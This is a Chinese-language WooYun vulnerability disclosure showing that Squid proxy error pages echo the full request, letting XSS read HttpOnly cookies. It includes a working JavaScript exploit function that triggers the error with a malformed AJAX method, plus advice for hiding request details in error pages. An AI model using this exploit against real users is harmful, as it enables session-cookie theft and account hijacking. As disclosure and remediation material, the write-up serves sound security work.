当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-025343

漏洞标题:利用squid轻松获取经http only保护的cookie内容

相关厂商:SQUID

漏洞作者: nyannyannyan

提交时间:2013-06-07 14:10

修复时间:2013-09-05 14:11

公开时间:2013-09-05 14:11

漏洞类型:设计错误/逻辑缺陷

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-06-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-09-05: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

Squid cache(简称为Squid)是一个流行的自由软件(GNU通用公共许可证)的代理服务器和Web缓存服务器。Squid有广泛的用途,从作为网页服务器的前置cache服务器缓存相关请求来提高Web服务器的速度,到为一组人共享网络资源而缓存万维网,域名系统和其他网络搜索,到通过过滤流量帮助网络安全,到局域网通过代理上网。Squid主要设计用于在Linux一类系统运行。
现在成为XSS的帮凶有木有= =

详细说明:

发现这个漏洞的缘起在于一次XSS...
成功插入代码以后发现目标cookie是HTTP-Only的...
按说,到这时候应当放弃了...但是啊...我们大学有个神奇的cache服务器叫做squid...
研究了一下....发现结合squid的错误机制是可以做到bypass http-only的
我们的目标错误是400: Bad Request
这个错误最容易通过浏览器Ajax触发(触发方式将在下面说明)
对应的错误模板文件为errors/en/ERR_INVALID_REQ
让我们打开看一下....虽说习惯很不好....居然只有一行....
不过重整一下还是很快找到了关键的部位

p1.JPG


这个%R是什么意思呢
http://wiki.squid-cache.org/Features/CustomErrors#ERR_.2A_template_codes_for_embedding
看看这里
%R
Full HTTP Request
全部Request啊...那么意味着发出的cookie也可以方便的获取....不管是不是http-only的
试一下...
使用的网络是某大学的网络,squid版本为2.6/STABLE21
(有点老了,但是刚刚拖了最新的3.3.5版本下来看,这个问题没有被修过)

p2.JPG


随便用一个网站,我用的是百度...这有俩httponly的cookie
然后构造畸形ajax请求

p3.JPG


关键就在于那个%号
这会让squid认为这是一个不合法的request method从而抛出bad request
拿一下请求头

p4.JPG


然后发现httponly的SSUDB和SSUDBTSP就这样拿到了
顺便吐槽一下百度,尼玛BDUSS和SSUDB是一样的内容你SSUDB是httponly的有毛意义
危害及局限:
1.XSS的大帮凶,httponly就这样轻轻松松bypass
2.主要适用于定点打击吧...不过写一小段脚本探测一下内网环境也是可以的
3.https协议下的请求因为不走cache服务器当然是拿不到的了
综上所述,自评10rank
最后送上一小段exploit

function getCookieOrHeader(){
var res= document.cookie;
//Test Squid
var r;
if(window.XMLHttpRequest) {
r = new XMLHttpRequest();
}
else {
try {
r = new ActiveXObject("Msxml2.XMLHTTP");
}
catch(e) {
r = new ActiveXObject("Microsoft.XMLHTTP");
}
}
r.open('%xss', '/', false);
r.send();
if(r.status == 400 && r.responseText.search("squid") != -1) {
var s = r.responseText.search(/<pre>/ig) + 6;
var l = r.responseText.search(/<\/pre>/ig) - s;
res = r.responseText.substr(s, l);
}
return res;
}

漏洞证明:

p2.JPG


p3.JPG


p4.JPG

修复方案:

首先我是建议squid开发者避免在错误页面里面包含过于详细的请求头
其次希望使用squid的团体或个人在生产环境时一定要自定义错误页面方式敏感信息外泄

版权声明:转载请注明来源 nyannyannyan@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝